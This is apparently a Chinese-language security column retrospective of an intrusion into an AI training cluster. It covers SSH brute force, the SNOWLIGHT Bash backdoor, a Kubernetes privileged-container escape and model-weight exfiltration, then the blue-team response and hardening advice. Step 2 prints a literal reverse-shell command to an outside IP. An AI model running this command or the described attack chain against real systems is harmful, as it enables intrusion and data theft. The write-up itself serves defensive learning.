攻防实战复盘
智算中心:SNOWLIGHT脚本猎杀
2026年09月18日 · 周五
红蓝对抗 高级
场景:2026年8月,某省级智算中心AI训练集群遭定向入侵。攻击者以弱口令爆破为入口,植入SNOWLIGHT Bash后门,蓝队72小时内完成从告警到清剿的全链路处置。
攻击 / 事件时间线
1
初始访问·弱口令爆破
攻击者针对智算中心暴露在公网的GPU训练平台管理节点发起SSH爆破,目标为运维人员遗留的测试账户(admin/P@ssw0rd_2025)。该节点运行Ubuntu 22.04,未启用fail2ban,SSH允许密码认证。爆破成功后攻击者立即通过curl拉取远程脚本并执行,建立首个立足点。该账户具备sudo权限,且与K8s集群API Server处于同一内网段。
HydraSSHcurl
2
反弹Shell·SNOWLIGHT落地
攻击者执行bash -i >& /dev/tcp/185.x.x.x/8443 0>&1建立反弹Shell,随后下载SNOWLIGHT脚本。该脚本为Bash类型后门,通过nohup守护进程驻留,每300秒向C2心跳。脚本内置AES加密通信、进程名伪装为kworker/u8:2,并写入/etc/rc.local实现开机自启。同时修改.bashrc注入alias,劫持ps、netstat等命令输出以规避排查。
SNOWLIGHTnohupAES加密rc.local
3
横向移动·容器逃逸
攻击者利用该节点上的kubectl凭证,枚举K8s集群Pod列表,发现训练任务容器以privileged: true运行。通过kubectl exec进入容器后,利用挂载的/var/run/docker.sock实现容器逃逸,在宿主机上创建特权容器并挂载宿主机根目录,获取训练数据存储卷的读写权限。随后在多个GPU节点上重复植入SNOWLIGHT脚本,形成持久化控制。
kubectldocker.sockprivileged container
4
数据窃取·模型外传
攻击者定位到/mnt/training-data下的模型权重文件(约2.3TB),使用tar分卷压缩后通过rclone上传至境外对象存储。为规避流量检测,分卷大小设置为500MB,传输限速10MB/s,持续约6小时。期间通过SNOWLIGHT脚本的C2通道接收指令,动态调整传输策略。
tarrcloneC2通道
蓝队视角 · 发现与处置
SOC在次日凌晨收到EDR告警:训练节点出现异常curl外联及nohup进程创建。蓝队立即隔离该节点,通过Sysmon日志回溯发现SSH爆破痕迹与SNOWLIGHT脚本落地。进一步排查K8s审计日志,确认容器逃逸路径。蓝队同步封禁C2 IP、重置所有节点凭证、清除SNOWLIGHT进程及自启项,并对全集群GPU节点进行YARA扫描,确认无残留后恢复业务。
涉及关键技术 / 工具
SSH弱口令爆破SNOWLIGHT Bash后门驻留K8s特权容器逃逸
防护经验总结
  • SSH强制启用密钥认证并部署fail2ban,禁止密码登录,智算节点账户权限最小化,移除测试账户
  • K8s集群禁用privileged容器,移除docker.sock挂载,启用PodSecurityPolicy限制容器权限
  • 部署YARA规则检测SNOWLIGHT脚本特征(如kworker伪装进程名、AES心跳通信),并监控rc.local与.bashrc异常修改
#智算中心#SNOWLIGHT#容器逃逸
数据安全早知道 · 攻防实战专栏
⚠️ 免责声明
本文内容源自公开披露的安全事件或高仿真模拟场景,所有涉及的组织、系统、技术细节均经过脱敏处理,仅供安全学习与交流参考,不构成任何技术指导或合规建议。
数安早知道
🔗 数据安全与信息安全知识库 datasafe.website
— 点击上方链接访问知识库,获取更多安全资讯 —